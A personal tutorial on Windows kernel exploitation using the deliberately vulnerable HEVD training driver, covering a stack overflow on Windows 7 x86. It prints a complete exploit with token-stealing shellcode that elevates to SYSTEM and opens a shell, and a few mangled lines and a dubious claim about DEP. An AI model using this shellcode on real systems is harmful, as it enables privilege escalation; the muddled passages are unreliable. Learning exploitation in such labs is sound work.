So, recently I have started Learning Windows kernel exploitation, After looking through the web for WKE resources . I found that HEVD(HackSys Extreme Vulnerable Driver) made by HackSysTeam will be best to learn WKE as it have all the basic vulnerability classes like Stack Overflow, Null pointer dereference, User-after-free. I will take a single vulnerability ,then try to make exploit and learn it in windows 7 X86 , then try the same vulnerability in windows 10 , then windows 11. because Microsoft has added has added a lot of mitigations with newer versions of windows which will help me in learning ways to bypasses this mitigations. OK, lets start with stack overflow on windows 7 x86 SP1. ("First we have to learn walking then we can starting Running").
SETUP
Since We are exploiting kernel , unlike user mode applications if the application crashes We can restart the application but in case of kernel if the Kernel Crashes it will BSOD. SO we have to use a virtual machine to debug the kernel. You can find a lot of blogs on setting windows kernel debugging. I used the rootkit blog to setup the kernel debugging.
I am using two windows 7 x86 VM, one is the debugger VM which is use dto debug the target VM. After you have setup the debugger it should looks something like this.
Now, load the vulnerable HEVD driver on the target VM . I am using OSRLoaderIoCreateDevice and IOCTL
RtlInitUnicodeString(&DeviceName, "\\Device\\HackSysExtremeVulnerableDriver");
RtlInitUnicodeString(&DosDeviceName, "\\DosDevices\\HackSysExtremeVulnerableDriver");
//
// Create the device
//
Status = IoCreateDevice(
DriverObject,
0,
&DeviceName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&DeviceObject
);
// Assign the IRP handlers for Create, Close and Device Control
//
DriverObject->MajorFunction[IRP_MJ_CREATE] = IrpCreateCloseHandler;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = IrpCreateCloseHandler;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler;
IRPs are I/O request packets which are send to IOCTL to do further functioning. Here , Create , Close and Device control IOCTLS are created in which the IRP_MJ_DEVICE_CONTROL is used to IOCTL codes to driver from IRP./// <summary>
/// IRP Device IoCtl Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <param name="Irp">The pointer to IRP</param>
/// <returns>NTSTATUS</returns>
NTSTATUS
IrpDeviceIoCtlHandler(
_In_ PDEVICE_OBJECT DeviceObject,
_Inout_ PIRP Irp
)
{
ULONG IoControlCode = 0;
PIO_STACK_LOCATION IrpSp = NULL;
NTSTATUS Status = STATUS_NOT_SUPPORTED;
UNREFERENCED_PARAMETER(DeviceObject);
PAGED_CODE();
IrpSp = IoGetCurrentIrpStackLocation(Irp);
if (IrpSp)
{
IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;
switch (IoControlCode)
{
case HEVD_IOCTL_BUFFER_OVERFLOW_STACK:
DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n");
Status = BufferOverflowStackIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n");
break;
case HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS:
DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******\n");
Status = BufferOverflowStackGSIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******\n");
break;
//
// IOCTL Definitions
//
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK IOCTL(0x800)
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS IOCTL(0x801)
#define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)
#define HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL IOCTL(0x803)
#define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL IOCTL(0x804)
#define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL IOCTL(0x805)
#define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL IOCTL(0x806)
#define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL IOCTL(0x807)
#define HEVD_IOCTL_TYPE_CONFUSION IOCTL(0x808)
#define HEVD_IOCTL_INTEGER_OVERFLOW IOCTL(0x809)
#define HEVD_IOCTL_NULL_POINTER_DEREFERENCE IOCTL(0x80A)
#define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK IOCTL(0x80B)
#define HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL IOCTL(0x80C)
#define HEVD_IOCTL_DOUBLE_FETCH IOCTL(0x80D)
#define HEVD_IOCTL_INSECURE_KERNEL_FILE_ACCESS IOCTL(0x80E)
#define HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL IOCTL(0x80F)
#define HEVD_IOCTL_BUFFER_OVERFLOW_PAGED_POOL_SESSION IOCTL(0x810)
#define HEVD_IOCTL_WRITE_NULL IOCTL(0x811)
#define HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL_NX IOCTL(0x812)
#define HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX IOCTL(0x813)
#define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX IOCTL(0x814)
#define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL_NX IOCTL(0x815)
#define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL_NX IOCTL(0x816)
#define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL_NX IOCTL(0x817)
#define HEVD_IOCTL_CREATE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX IOCTL(0x818)
#define HEVD_IOCTL_SET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX IOCTL(0x819)
#define HEVD_IOCTL_GET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX IOCTL(0x81A)
#define HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX IOCTL(0x81B)
#define HEVD_IOCTL_ARBITRARY_INCREMENT IOCTL(0x81C)
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
VULNERABILITY
Lets look at the stack Overflow vulnerability StackOverflow.c . Since we have the source we don't need to reverse it. The source code is pretty good commented with secure and vulnerable section.
The vulnerability is clearly visible that the function RtlCopyMemory is copying from usermode buffer to kernel buffer without any control on the amount of size to be copied.
So, now how to trigger the vulnerability ? As mentioned every driver creates a symbolic link in the /Device path . So we can interact with the driver by using CreateFileA() WinAPI to open a handle to the /Device/HackSysExtremeVulnerableDriver and for triggering the Stack Overflow vuln we have to send IOCTL code to the BufferOverfloeStackIOCTLHandler using DeviceIOControl API. Kernel Buffer size is 512 and it is ULONG so it takes 2048 bytes. Since we don't know the exact buffer size that will be needed to overwrite the EIP . Lets a write a basic script that will crash the kernel into BSOD.
#include <windows.h> #include <stdio.h> // PATH includes double slashes due to LPCSTR #define HEVD_PATH "\\\\.\\HackSysExtremeVulnerableDriver" // IOCTL defined in HEVD using CTL_CODE Macro #define IOCTL(function) CTL_CODE(FILE_DEVICE_UNKNOWN, function, METHOD_NEITHER, FILE_ANY_ACCESS) // IOCTL number for StackOverflow #define STACK_OVERFLOW_IOCTL_NUMBER IOCTL(0x800) // Usermode Buffer Size #define BUF_SIZE 2100 INT main(void) { // Usermode Buffer LPVOID BUF = NULL; // Opening Handle to /Device/HackSysExtremeVulnerableDriver HANDLE h = CreateFileA(HEVD_PATH, FILE_READ_ACCESS | FILE_WRITE_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL, NULL); if (h == INVALID_HANDLE_VALUE) { printf("[!] Failed to open handle to HEVD!!!!!\n"); } else { printf("[#] Succesfully opened handle to HEVD...\n"); } // Allocating Usermode buffer on heap due to DEP. BUF = (LPVOID)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, BUF_SIZE); if (!BUF) { printf("[!] Error allocating heap memory for usermode buffer.....\n"); } // Writing Usermode Buffer with 'AAAAA...' memset(BUF, 'A',
BUF_SIZE); printf("[#] Writing Kernel Buffer with AAAAAAA....\n"); printf("[#] Opening BufferOverflowStackIOCTLHandler \n"); ULONG Bytesreturned; //Calling the BufferStackOverflowIOCTLHandler BOOL ret = DeviceIoControl(h, STACK_OVERFLOW_IOCTL_NUMBER, (LPVOID)BUF, (DWORD)BUF_SIZE, NULL,0,&Bytesreturned, NULL ); if (ret) { printf("[#] IOCTL Opened succesfully\n"); } else { printf("[!] IOCTL Failed to open....\n"); } return EXIT_SUCCESS; }
One Important thing to notice here is that we are using dynamic memory
instead of Static memory because DEP is enabled in all windows version
started from windows XP SP2 in usermode as well as kernel mode. So we
Used HeapAlloc() to create a region of memory which is executable.
Compile this and run in the target VM with debugger attached.
you will get crash like this in the windbg debugger.Then select Debug and Go unhandled Exception and then g in the kd >.
You get the crash showing the infamous BSOD.
DEBUG TIME
WHERE TO GO NOW?
pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS:[0x124]
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad ; Restore registers state
Windows Kernel includes a lot of structures which are mostly used by reverse engineers and Vuln researcher in their work . We are the doing same thing here we are parsing through the structures to eventually get the Token.
NOTE: fs register is a special register known as segment register which points to the _KPCR data structures in 32 bit which is going to used here in the payload. gs is the same for the 64 bit architecture.
You can use Vergilius project (very useful resource) to take look at the structures used in the windows kernel . or you may use your windbg also.
This payload is very well explained by hasherezade , you can look at it if you want better understanding.
_KPCR
_KPRCB
_KTHREAD
_KAPC_STATE
_EPROCESS
Final Exploit
#include <windows.h>
#include <string.h>
#include <stdio.h>
// PATH includes double slashes due to LPCSTR
#define HEVD_PATH "\\\\.\\HackSysExtremeVulnerableDriver"
// IOCTL defined in HEVD using CTL_CODE Macro
#define IOCTL(function) CTL_CODE(FILE_DEVICE_UNKNOWN, function, METHOD_NEITHER, FILE_ANY_ACCESS)
// IOCTL number for StackOverflow
#define STACK_OVERFLOW_IOCTL_NUMBER IOCTL(0x800)
// Usermode Buffer Size
#define BUF_SIZE 2084
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
//Token Stealin payload
__declspec(naked) VOID TokenStealingPayload() {
__asm {
pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax; Set ZERO
mov eax, fs: [eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS : [0x124]
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad ; Restore registers state
; Kernel Recovery Stub
xor eax, eax ; Set NTSTATUS SUCCEESS
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly
}
}
INT main(void)
{
// Usermode Buffer
PVOID EIPADDRESS = NULL;
// Opening Handle to /Device/HackSysExtremeVulnerableDriver
HANDLE h = CreateFileA(HEVD_PATH,
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);
if (h == INVALID_HANDLE_VALUE) {
printf("[!] Failed to open handle to HEVD!!!!!\n");
}
else {
printf("[#] Succesfully opened handle to HEVD...\n");
}
// Allocating Usermode buffer on heap due to DEP.
LPVOID BUF = (LPVOID)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, BUF_SIZE);
if (!BUF) {
printf("[!] Error allocating heap memory for usermode buffer.....\n");
}
// Writing Usermode Buffer with 'AAAAA...'
RtlFillMemory(BUF, BUF_SIZE, 'A');
printf("[#] Writing Kernel Buffer with AAAAAAA....\n");
printf("[#] Overwriting EIP with Token stealing payload \n");
// EIP overwrite
EIPADDRESS = (PVOID)((ULONG)BUF + BUF_SIZE - sizeof(ULONG));
*(PULONG)EIPADDRESS = (ULONG)TokenStealingPayload;
printf("[#] Opening BufferOverflowStackIOCTLHandler \n");
printf("[#] Triggering exploit. \n");
//Calling the BufferStackOverflowIOCTLHandler
ULONG Bytesreturned;
DeviceIoControl(h, STACK_OVERFLOW_IOCTL_NUMBER, (LPVOID)BUF, (DWORD)BUF_SIZE, NULL, 0, &Bytesreturned, NULL);
HeapFree(GetProcessHeap(), 0, (LPVOID)BUF);
BUF = NULL ;
printf("[#] Have Fun. \n");
// Elevated privilege of current process.
printf("[#] spawning NT AUTHORITY/SYSTEM SHELL !!!!!!!!\n");
system("cmd.exe");
return EXIT_SUCCESS;
}